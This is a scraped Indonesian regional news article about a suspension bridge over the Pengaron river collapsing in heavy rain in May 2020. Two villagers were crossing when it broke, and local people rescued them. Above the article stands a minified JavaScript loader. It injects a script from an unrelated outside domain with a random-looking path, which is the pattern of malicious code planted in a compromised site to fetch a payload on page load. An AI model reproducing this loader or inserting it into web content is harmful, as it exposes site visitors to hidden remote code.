(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');

Categories: Kabupaten Banjar

Penyelamatan Dua Warga Berlangsung Dramatis, Jembatan Gantung di Pengaron Putus

KANALKALIMANTAN.COM, MARTAPURA – Hujan deras yang turun di kawasan Pengaron dan sekitarnya, Senin (18/5/2020) berdampak pada kondisi infrastruktur di Desa Benteng.

Sebuah jembatan gantung yang masih berfungsi di atas Sungai Pengaron dan digunakan masyarakat di Desa Benteng, Kecamatan Pengaron, putus pada pukul 17.39 Wita itu.

Parahnya, saat jembatan itu putus, dua warga Desa Benteng tengah menyeberang jambatan. Beruntung kedua warga yang tidak diketahui identitasnya itu tidak sampai jatuh ke sungai.

Keduanya sempat tergantung di jembatan dan berhasil diselamatkan warga setempat. Akibat kejadian itu, keduany mengalami luka lecet dan lebam.

Penyelamatan kedua warga yang terjebak di jembatan yang putus itu berlangsung dramatis. Seorang warga meniti jembatan dan menolong warga di bagian tengah jembatan. Sementara puluhan warga lainnya menyaksikan dari pinggir sungai.

Sekretaris Desa Benteng, Sarfai, saat dihubungi kanalkalimantan.com membenarkan kejadian itu.

“Kejadian sekitar pukul 17.30 Wita. Ada dua warga kami yang sedang menyeberang berjalan kaki dan untungnya selamat. Cuma luka lecet dan lebam,” katanya.

Menurut dia, rubuhnya jembatan gantung yang dibangun sekitar 1995 itu sudah dilaporkan ke pihak kecamatan.

“Sementara warga masih bisa melewati jembatan baja yang ada sekitar 500 meter dari jembatan ini,” tutup dia. (kanalkalimantan.com/dhani)

Reporter : Dhani
Editor : KK